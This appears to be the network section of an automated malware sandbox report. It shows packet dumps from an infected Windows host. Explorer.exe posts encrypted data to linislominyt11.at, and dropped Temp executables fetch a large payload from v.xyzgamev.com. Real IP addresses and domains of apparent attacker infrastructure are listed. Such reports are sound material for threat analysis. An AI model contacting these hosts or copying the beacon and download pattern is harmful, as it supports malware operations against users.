69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 35 20 2d 20 48 54 54 50 20 76 65 72 62 20 75 73 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 70 61 67 65 20 69 73 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 70 61 67 65 20 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>405 - HTTP verb used to access this page is not allowed.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>405 - HTTP verb used to access this page is not allowed.</h2> <h3>The page
Aug 30, 2022 15:55:11.849260092 CEST	15537	IN	Data Raw: 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 63 61 6e 6e 6f 74 20 62 65 20 64 69 73 70 6c 61 79 65 64 20 62 65 63 61 75 73 65 20 61 6e 20 69 6e 76 61 6c 69 64 20 6d 65 74 68 6f 64 20 28 48 54 54 50 20 76 65 72 62 29 20 77 61 73 20 Data Ascii: you are looking for cannot be displayed because an invalid method (HTTP verb) was used to attempt access.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.5	49743	115.88.24.202	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 30, 2022 15:55:12.186577082 CEST	15538	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://evaublbbue.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 255 Host: linislominyt11.at
Aug 30, 2022 15:55:12.186594009 CEST	15538	OUT	Data Raw: 4a 9d 89 ce 48 61 22 25 5a 72 23 56 0d af 57 cc 2e 1f 9c 17 ff 69 ad af bc 6a a6 86 71 f4 a0 e0 f8 a1 81 be 00 33 90 b0 a5 2c 6a 70 89 97 f2 15 92 5f 53 36 31 b0 6f 4a d8 b2 66 87 fe 3d be f5 42 21 9b c6 a2 19 bc 8a 14 62 cd d6 4f 96 8b e0 08 cd Data Ascii: JHa"%Zr#VW.ijq3,jp_S61oJf=B!bOcgv:#w,Zf]MdSc5Gu:+/,\|-JEJ~S@d1Ftbz)$vH;V?f\CX)1c"27=p_
Aug 30, 2022 15:55:13.235274076 CEST	15540	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Tue, 30 Aug 2022 13:55:12 GMT Content-Type: text/html; charset=utf-8 Connection: close Data Raw: 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 ed 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 33 dd d4 a1 2a 42 c2 c8 86 12 39 04 5a 81 e5 c7 b2 1c d6 e7 b2 bf 08 ce 21 a8 5a 44 63 71 e3 07 10 73 a7 70 c4 59 87 70 4c f3 6f 09 ed 73 81 ca a4 64 68 4b 2b 20 ed 1c eb 9c b2 e8 73 f8 0b 77 d0 47 7c 92 60 b0 9d 61 a5 8a 86 6e 50 13 c9 e4 bf 6c 13 d9 bb 64 88 7e 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 aa 8e 1f 9e 51 08 57 2b 79 30 ca 21 7e 45 f7 ff 78 8d 55 db 24 0d 11 12 b4 1f ef 92 24 6e 4f c5 03 67 c5 a1 61 7e de f5 b9 d2 19 17 7e 4f af 9a a5 c4 c9 a0 c1 b9 9d 7a 0d 80 4e 19 e0 2e 95 a9 12 1a f5 96 b4 25 51 61 9c d4 3e 7c 88 28 c8 48 6b 21 cf 4a 9a 07 fd ec 1e 2e 74 ac 85 2f fd a0 0d c0 59 bf 46 14 fd f8 12 6c 23 6c 29 6c 0a 8d c7 fd e4 0e b4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 89 0c cc 4f 8f 79 82 ae 9c 57 02 4c 93 f0 a3 f3 57 3b 2a b9 72 ee cc 23 b2 b5 0e 31 a1 a8 9e f7 df 35 ee e7 e2 23 4c 80 20 01 f9 13 5b 11 bb d6 af 41 33 27 d4 69 b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 9a 1e ff 9d 3f 7f 55 40 57 64 7b 39 66 e7 ac 04 28 24 42 40 fb 99 c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 31 2a c4 e8 3a a1 54 55 b9 eb b7 1b 6f d3 cb 29 32 4e e7 5b 1e 50 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f f4 5c 68 f1 b2 4d 67 85 4d 5e ae 03 13 ff 1f e4 a6 fd 10 9f 10 bb d9 b0 99 6d 99 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b a1 62 7a 17 b2 e1 a7 81 5f c8 b4 bb 6f 6a 17 28 d2 0e 46 1f d0 b3 aa 7a 8f 9a 6b e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a d6 63 b9 94 65 5c dc e5 7e ab 00 7e d4 03 2b ac 98 76 c6 01 ca 82 b1 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 1f 29 43 03 b2 27 66 0e 77 59 1d f8 d0 a2 ae 88 c1 b4 ae 33 25 77 da a9 c3 ce c7 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 4e 93 81 5b 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d 01 aa 6b 77 63 41 40 45 bd 79 24 0d 1e eb 67 f9 7d d8 ef fe cd f0 a8 01 3f 26 58 c5 07 1f ad d6 46 43 7c 20 4b b2 cf dd a9 8c 29 02 3d 89 31 99 a5 13 01 6e 01 2e 10 72 c8 ad f4 ae e4 47 29 fb d8 a7 22 40 46 41 2f 02 b9 d8 45 81 54 0c e3 56 7a 0a f4 f3 5b 11 8f 41 19 1a 69 78 9b 9b 68 ca 4b f7 7a 28 b0 cf bb 66 56 9a 3c 5c e3 9c 17 6b 18 67 cd d2 f3 bb 75 e0 91 ce e0 ae 08 4b 84 6e 25 2f 74 4d ab 61 98 4b 24 5b cc ba 9f 7f 38 c5 8a d3 0e 3a 03 2a 79 2b cd e5 7d ef 32 f6 c9 Data Ascii: `@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShG3B9Z!ZDcqspYpLosdhK+ swG\|`anPld~3Ob>!Z:V?#BSSQW+y0!~ExU$$nOga~~OzN.%Qa>\|(Hk!J.t/YFl#l)l~qhJOyWLW;r#15#L [A3'i3FHU=h?U@Wd{9f($B@=fd0QpKk1:TUo)2N[P&}WL\hMgM^mtyPmCbz_oj(Fzk7 R:ce\~~+v%.5)C'fwY3%w/#wN[RLEsCRW!}B.'<BV`se%x`80_xm^22B9GQ =TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=kwcA@Ey$g}?&XFC\| K)=1n.rG)"@FA/ETVz[AixhKz(fV<\kguKn%/tMaK$[8:y+}2
Aug 30, 2022 15:55:13.235326052 CEST	15541	IN	Data Raw: f5 11 dc 4f 59 5a 42 85 5c 42 70 eb 60 ba 23 37 8e bd 1a 81 41 f8 09 65 43 12 f5 36 6d d1 99 dc d1 09 6a 4d 9d e5 e6 25 63 1f 36 54 5a 94 9c 3e f5 b6 c5 99 11 e5 56 9a 32 84 11 41 13 3c 8b 2f a8 a3 87 e1 1c 30 e0 d8 c0 64 f7 c8 f6 17 da 3c 43 05 Data Ascii: OYZB\Bp`#7AeC6mjM%c6TZ>V2A</0d<C4\|g$0XIJ67=74J!Y &tR/<Yc[bRJU!P\0I=EfEzup}\|WmZN>$<\|_/
Aug 30, 2022 15:55:13.497515917 CEST	15542	IN	Data Raw: df b0 2a d6 aa 6a fe c8 3c df 89 8d 6d 19 ff 07 a4 a2 76 33 fb 32 0f 6d c1 b4 a9 4c c2 9c f5 6b 53 cd 2a cd 88 60 22 f7 41 9e 36 e8 d0 24 f4 ae 65 68 80 8f 37 24 c3 13 15 27 cc 2b b2 73 32 b7 0f e9 a8 2b cd 51 cb 68 23 e0 0e 02 f1 c6 56 b5 7d a4 Data Ascii: j<mv32mLkS`"A6$eh7$'+s2+Qh#V}F6b+hatw-sT=Z6>0E!6L^0"Ku~9<he{KJ*0OGHpCZ1]_I3uMc;jNR'chjPC8<#
Aug 30, 2022 15:55:13.497548103 CEST	15544	IN	Data Raw: e8 1f 3f f3 9d a0 67 cd 53 a9 0d 06 e3 c8 e8 9c 35 d2 25 dd 87 00 03 3b bb db 31 8a 9e b4 68 88 2c 97 af b8 fe e2 da 03 a4 95 28 b1 b0 e9 31 58 23 4f 1f e3 7a f9 6f db 27 b6 c4 50 3a 1d 79 f5 bf 17 03 20 34 11 9f 23 7e 9d 84 0f df e0 cb 81 39 60 Data Ascii: ?gS5%;1h,(1X#Ozo'P:y 4#~9`%a:\Xy39D@+G0hM8"/[3Rc&*ohh}lme;W^X$.i@#`dxSN0a4#!kqamsAds;w`
Aug 30, 2022 15:55:13.497569084 CEST	15545	IN	Data Raw: 7b c7 a2 8c e2 b0 10 d9 ab 94 f1 4e 17 66 0b 0a 5b 9a c8 f9 8a b5 4e 3d 34 86 10 62 2b 1b b0 ad 39 e1 07 3a 3d e9 26 91 79 88 28 48 96 7f da c0 2a a6 92 35 56 db b6 0d 37 d5 76 b8 5c 5c 03 e4 10 f2 1c be ea dd 1b c8 8a a8 46 81 b2 d6 3e fd ba e5 Data Ascii: {Nf[N=4b+9:=&y(H*5V7v\\F>5MPJ8gO[E&apoxyrU3G+QE&_gV~Pp?T"\|9P~/G>G4n\\Vqso+l+3o;DAWgL
Aug 30, 2022 15:55:13.497591019 CEST	15547	IN	Data Raw: 43 2c f0 6e d2 cc df 0f e5 51 30 aa 5b ae 76 c7 79 47 88 a5 ad ac 74 fb 6f 93 4c e0 21 24 29 c6 03 8b b2 b9 8b 1f 50 73 6f 9e 89 dd 37 49 4f 52 5a 68 ca c5 17 17 0d 81 a5 64 f5 7a ff 8a 77 f5 55 13 24 55 c3 06 84 80 bd b4 e5 af 7b cc 13 1f a3 b1 Data Ascii: C,nQ0[vyGtoL!$)Pso7IORZhdzwU$U{Iv]qoFQWjC>>O%{*'H-Tl\ja yBt;o'-$:m`PXrWe/@kOf=_M3?zOo$0Y_>;?
Aug 30, 2022 15:55:13.759860992 CEST	15548	IN	Data Raw: 21 41 37 3a a0 95 97 0b c3 b2 64 fe 3b 08 f7 15 87 52 a8 7b b3 05 1e ef 23 f3 76 58 85 8e 6c 1e 50 98 b6 b7 b1 c1 95 88 18 60 6b cf f9 4f b7 dc 3c 1b 9d 57 ff 1f 9b 69 98 c0 df 5c f5 ce 0b e8 4b 95 06 9e e3 87 50 cf 11 b8 6e 09 c8 60 3c 7e 97 cd Data Ascii: !A7:d;R{#vXlP`kO<Wi\KPn`<~W9,'8au"DctxQo[bx\|'XE[JT&oY[4PO}_Q[fw<;hOV:@.eR)=[f
Aug 30, 2022 15:55:13.759915113 CEST	15549	IN	Data Raw: 1a 22 04 4a c9 b7 82 c4 64 a6 48 6d 09 6e 5c bb 4c d3 fc 46 2b 36 6e 4c f5 f7 08 b9 8e 1f fd 49 a4 79 c8 04 99 bb c2 02 2d a9 50 53 91 f1 45 9f 31 ff 92 1d 99 07 50 38 76 38 af d4 71 28 8e 69 36 b0 b7 09 d3 e8 1c 47 bd 36 fd 21 e5 8e 26 cf 6c cc Data Ascii: "JdHmn\LF+6nLIy-PSE1P8v8q(i6G6!&ledWyXoDA:^Jl[ M\|*l=xUYj#7#y1f#(d5;#1n@@=t~gw[wY_$j2+R!pZw+M`?la`o9Fvf
Aug 30, 2022 15:55:13.759938955 CEST	15551	IN	Data Raw: 0b 06 c9 d9 31 15 14 1a 90 2c ee b6 49 ab b0 3d 3e 37 97 72 af e4 a8 40 77 8f 09 a4 d9 b6 0a 74 7e de 04 bf 76 c9 29 f3 13 a2 f4 80 95 0e 52 25 2f a5 6d 46 ee d7 de e9 1e 81 85 ed 6e 0b 19 9f 01 97 66 89 a0 d0 d2 d4 7d a4 0b d4 79 e9 33 32 25 8f Data Ascii: 1,I=>7r@wt~v)R%/mFnf}y32%L;ie8uW7<h^\tBI*^lQsD2oJW\8BYOCKkNM:0d-a'MY<S!OkcDq#K^t3
Aug 30, 2022 15:55:13.759958029 CEST	15552	IN	Data Raw: e5 3c f1 8b f7 d1 0c 2b f4 63 29 f8 f3 ed 8b 46 08 8b ce 57 b2 db ce ce 5a 36 36 8e f1 c0 cf 01 92 47 34 b1 32 ca f4 e6 f6 0a 8d ba e1 9c 34 5e d3 19 ab 07 26 06 d2 3c dc c7 c2 a6 59 5f f8 5b d2 99 3e 49 02 13 5b e7 53 20 35 b3 0b 13 9b ab 6e 0a Data Ascii: <+c)FWZ66G424^&<Y_[>I[S 5n+8OM,1FONBkD:iboqrPAnlZ^Ka<?FoDGrlarL-Ha"\_G{wXIeUI2BT{\=y[?gN}'
Aug 30, 2022 15:55:13.759977102 CEST	15554	IN	Data Raw: 04 ec 39 f2 c9 ef 9d 12 2f 1b b3 68 d9 05 ff 68 52 f0 fa 0b 55 bf e5 3a f6 bc f6 c8 5d 91 a5 4e d5 38 d8 e8 24 19 bc 42 70 37 f6 6d 4f f2 1a 3a 1f 7c 93 84 e8 26 1d d2 da 5c 2e f3 de 29 45 07 15 8c 5c 85 e1 77 7d bf de d8 76 3e 75 37 77 ca 3e dd Data Ascii: 9/hhRU:]N8$Bp7mO:\|&\.)E\w}v>u7w>T]HS&=L\|b>jr1R~1d]Uf,AUH`roe,dd]q$6l:K}gWr'>JgKkKOo08_3\|f83L

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49750	148.251.234.83	443	C:\Users\user\AppData\Local\Temp\FC9E.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49784	141.94.30.33	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49794	206.221.182.74	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49795	206.221.182.74	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49798	104.21.86.228	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49800	188.114.96.3	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49808	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\ADFF.exe

Timestamp	kBytes transferred	Direction	Data

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49733	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\ADFF.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-30 13:54:58 UTC	0	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-30 13:54:59 UTC	0	IN	HTTP/1.1 200 OK Date: Tue, 30 Aug 2022 13:54:59 GMT Content-Length: 571228 Connection: close Last-Modified: Mon, 29 Aug 2022 04:55:07 GMT ETag: "8b75c-5e75a11515fef" Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=B3wlyzv58MR4vBJ907hkHsn933xfbOgpP3PruG0bsYieP0WVxmPia55x82LiBA4r%2B%2BG%2BDuPYivMbnQ41pDZaD0pRn2RYJyyqMLctRiHvHxpSTuxnrjzJzki08wX4LX2ddw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 742e057de92fbbad-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-30 13:54:59 UTC	0	IN	Data Raw: 4f 2c cc 00 48 68 a2 6a 1e ff 91 3f e8 eb cf 4f 7d 33 e8 e1 38 76 2c 29 63 6d 6c 91 54 2f f0 cc da e3 13 56 f7 72 dc 93 17 ef b9 d6 f6 6e a7 3f 79 0d 18 6f 7a 23 56 af da b4 fe ed f5 98 4e ff 7b 1f d0 a6 ee ed e2 21 f0 cc cb f9 59 17 22 e3 9a d9 29 76 85 54 92 2e d7 2e dd 9b 1f e8 dc a4 ee 55 62 a7 56 d4 d4 2a db a9 29 c5 95 9d 38 94 ca 85 2c 17 25 16 7b 34 c2 79 57 72 41 ec 61 33 36 26 1a 18 2c e3 bc fe 18 56 f0 be ea f2 a2 6c 39 fc 79 0d c0 a4 e6 33 39 fc 79 0d ca 07 77 57 a6 6a f4 6f 78 ae 06 0d f6 e7 49 9f 9c 3b 86 aa 25 f7 11 70 b7 62 0c e8 3e da cb 6a a7 82 b6 92 a6 6a 1e 88 61 77 54 92 dc 72 a2 86 a6 6a 2e a6 12 17 6f f7 2f c5 8e 37 d4 17 dd 9a 2c 3d 75 6b a7 e1 69 df d2 2f 68 e1 eb a3 a6 6a 2a 6a ee 50 a6 6a 09 c4 88 3f e2 a5 2d 58 11 6b a7 d2 52 Data Ascii: O,Hhj?O}38v,)cmlT/Vrn?yoz#VN{!Y")vT..UbV)8,%{4yWrAa36&,Vl9y39ywWjoxI;%pb>jjawTrj.o/7,=uki/hjjPj?-XkR
2022-08-30 13:54:59 UTC	1	IN	Data Raw: 79 8b ca 3d 7c 36 16 cb 25 d7 b3 d0 7a 2f af e9 18 f8 08 e8 12 13 73 d7 7f ba e6 3e a5 6a db 2d 73 f3 6b d7 da 2f 13 3a e9 1b d6 ff d5 a2 12 11 fb d7 c9 3e 7c 2f 81 0e d6 68 a7 16 e0 be 32 2f 13 14 52 e6 84 c5 2d f3 1b c5 0d c7 00 6b a2 ba c9 d2 39 fc 79 0d ca 07 ef ce a7 6a c3 af 36 5a a7 6a f4 6f c2 af d8 ae 06 0d 6c 26 fc fa 25 f3 55 44 e3 2e 60 e8 02 c6 eb 26 eb e1 74 3e 22 96 36 67 fa de a7 6a 2c a2 d4 d1 e2 2f 57 3d 00 fa 35 a6 16 15 6e 14 f1 00 2e be 0a 11 58 0e cf 99 68 3e cb 9f 6b c7 c4 27 e8 96 2e c8 7c 2f 68 e1 a5 ec a7 6a 66 44 58 f3 53 ef d4 1f 60 26 2a e4 f4 c4 59 e7 d4 bc 0e 14 29 55 5d 62 63 5b fa 04 16 14 1b 15 27 28 86 89 6c e5 db af 2b f1 c5 bc 0a a9 62 17 69 d3 d6 db 8b f3 5b e7 d4 a6 c0 49 66 21 53 e7 d4 96 c0 72 2e a6 16 e8 ec dc 69 Data Ascii: y=\|6%z/s>j-sk/:>\|/h2/R-k9yj6Zjol&%UD.`&t>"6gj,/W=5n.Xh>k'.\|/hjfDXS`&*Y)U]bc['(l+bi[If!Sr.i
2022-08-30 13:54:59 UTC	2	IN	Data Raw: a6 1a 91 6a 2f 6f 25 a8 af e8 ae 0e de 08 c0 12 01 fc 33 7b d7 ca 3d 7a e1 a0 e9 a7 6a 2c a4 1a 11 41 ff 57 e9 1c 52 d3 5c 66 8c 36 9e 2c 29 e4 e0 23 2f 1e 16 ad d2 d0 41 49 ec e4 a8 a6 af 31 68 0a c0 1e 03 e2 de 8b b9 61 d3 d8 b4 16 07 2a 7f 3d b4 02 11 61 df 1d a1 7b cf 96 49 47 6b 6e 29 7b cb d8 b4 1a 01 1d 53 d2 db e0 2a 70 f5 2f ec e2 df 54 67 fb 36 e2 4c 14 c9 a0 6a 6b 82 f5 94 e4 d5 53 3d dc 53 cc 68 5a c2 0e 42 f5 2f 12 0c e7 6a a2 c3 8f d5 cf ea 27 6a f4 6f 0e c0 2e 85 54 41 4f 5a 54 ea bc 6e a6 bf c9 d2 39 1c fe 85 a4 32 35 fd a2 b7 c3 1b 6a 67 af 5c 91 62 ae 5c 7c 0b 58 1a a7 e8 42 43 ea 6d a1 2a df 56 af 05 41 a2 0a 8a a5 49 8d 61 a6 65 a9 6a 85 4c a3 6a a5 10 dc 1f 6f b7 c6 68 a7 7a 8a d7 37 3a 67 e3 2f ef 22 ee a2 63 ab 6f 24 6a 2b e0 21 69 Data Ascii: j/o%3{=zj,AWR\f6,)#/AI1ha=a{IGkn){Sp/Tg6LjkS=ShZB/j'jo.TAOZTn925jg\b\\|XBCm*VAIaejLjohz7:g/"co$j+!i
2022-08-30 13:54:59 UTC	4	IN	Data Raw: 8c b6 71 bd 5a af c6 b1 a7 6a e5 76 27 a8 a8 68 e8 77 e6 c4 4d 0b e1 5c d7 18 ff d5 17 36 69 24 5d 25 ad 5c 5c 99 54 99 f0 30 8e 42 be 03 d7 6e 47 8b 68 71 7c 25 67 3e 7c a3 96 8f ac fb 6f cb c2 c6 9a 47 be 0a e7 5c 83 16 cd 3a f3 91 8f cd 96 5c 5b 94 da e9 68 33 a6 26 f6 64 b7 f1 92 ca b6 4a 0c a4 0a bf 5a 2a 1d 25 e7 67 60 e3 f5 ae 16 1b 97 3a cb 30 f9 7a 60 80 a2 da 07 6e bc b5 75 f1 68 ce 59 c6 36 7b 68 e3 01 8b 97 78 54 85 e2 15 23 d8 1b 65 14 1d f3 ba 51 3c 13 71 8b eb f5 7f 92 7c 96 9f 55 0a c0 ed 52 85 62 6b ca 99 3c 71 c7 8b b6 8d cf 6b 7a 21 90 21 13 1a c2 5e 76 90 fc b0 69 3f d7 4d 95 0b 9b c9 f5 74 52 51 69 7d 4a 57 a7 4a 04 d2 9c 1f d8 15 d1 79 b7 6a 22 19 25 ec de ac e6 de 1f b9 39 45 d5 8d b1 06 6b 23 a3 a1 25 fd 68 b6 8c 86 a2 e1 ed ff a0 Data Ascii: qZjv'hwM\6i$]%\\T0BnGhq\|%g>\|oG\:\[h3&dJZ*%g`:0z`nuhY6{hxT#eQ<q\|URbk<qkz!!^vi?MtRQi}JWJyj"%9Ek#%h
2022-08-30 13:54:59 UTC	5	IN	Data Raw: 6d f2 b4 c0 05 c8 92 b3 39 7f bc f6 ef 63 df da ef 7c ce d1 50 54 f1 77 04 42 37 38 b8 b7 e0 68 3f 3f e2 e2 3c e2 33 1e 1c 30 0e 94 95 d1 be f6 e5 e4 5b df e3 da eb d8 11 0f 35 2f 3c 76 68 a5 6a a8 d3 91 7e 2c 75 a7 7a 3c 94 da 9d 7c cb 28 18 df 63 fd 39 84 a1 ed f6 9b 68 a7 59 46 3b e0 aa 28 19 5f 53 cb 33 a4 e3 fa b1 a7 6a a7 e1 e3 8e 7b 17 29 60 a9 e7 63 22 92 d6 6d a0 6e 2b 58 ae c9 33 d9 f7 a1 42 67 6b be cb cc f4 88 18 40 76 4c ab 9c 96 2a 23 e6 2b 69 66 66 43 50 76 66 ab 67 f9 d7 c3 6b 23 43 db fe 22 bc b2 2c 92 d2 a2 ee 30 a1 6d 18 82 f1 73 ea 68 24 2d 77 fb 32 ba 68 e1 aa 63 3c 26 18 76 d1 d5 9b 63 ab a8 24 3c bb 67 eb 70 18 f4 4a d7 8f ed 08 45 28 ca f6 0e a3 29 18 2e 86 c4 a9 74 54 aa 9e 16 ee 10 f7 cc 13 66 9f e2 6f 11 d9 23 d9 ee ba 83 bf 70 Data Ascii: m9c\|PTwB78h??<30[5/<vhj~,uz<\|(c9hYF;(_S3j{)`c"mn+X3Bgk@vL*#+iffCPvfgk#C",0msh$-w2hc<&vc$<gpJE().tTfo#p
2022-08-30 13:54:59 UTC	6	IN	Data Raw: 80 e1 99 f8 80 d3 3b 4f 59 80 8e 96 79 7c 68 2b e1 4e 42 e0 ea 6b e6 ce 41 ca c2 ac e6 50 3f 4f 60 ea 11 9e a3 34 3a cb de f0 26 8a 5c 31 f3 72 43 37 d2 84 88 3d 85 10 c1 ca 8e 8b a2 39 19 d9 cb 7c c3 82 5f db 16 3f af 31 a2 6b 7b 18 d5 66 29 12 df ee 9d 8c f6 ef e2 de df 62 64 ab 80 4d 2a e9 ff c5 09 f3 67 e9 ab 7c 3c ed b5 a4 f6 d8 14 4d 82 d0 1f da 1d ec a5 b4 f6 e3 63 11 6d 74 44 3a e9 75 02 cc a5 66 27 68 67 74 f6 5b 16 7b 33 86 4f 56 ae 0e f9 32 f5 06 5f 2a 57 20 cc 01 cd 02 4b 2e 18 25 d1 fb f5 2f 1e 34 b0 f2 5c 51 6f 1b 77 68 74 bb 16 0e 72 eb 5f f0 ce ea 53 a3 c0 9a 51 bd 2b e3 e2 d2 0b 35 2a dc 26 f7 63 22 e7 08 f4 3c 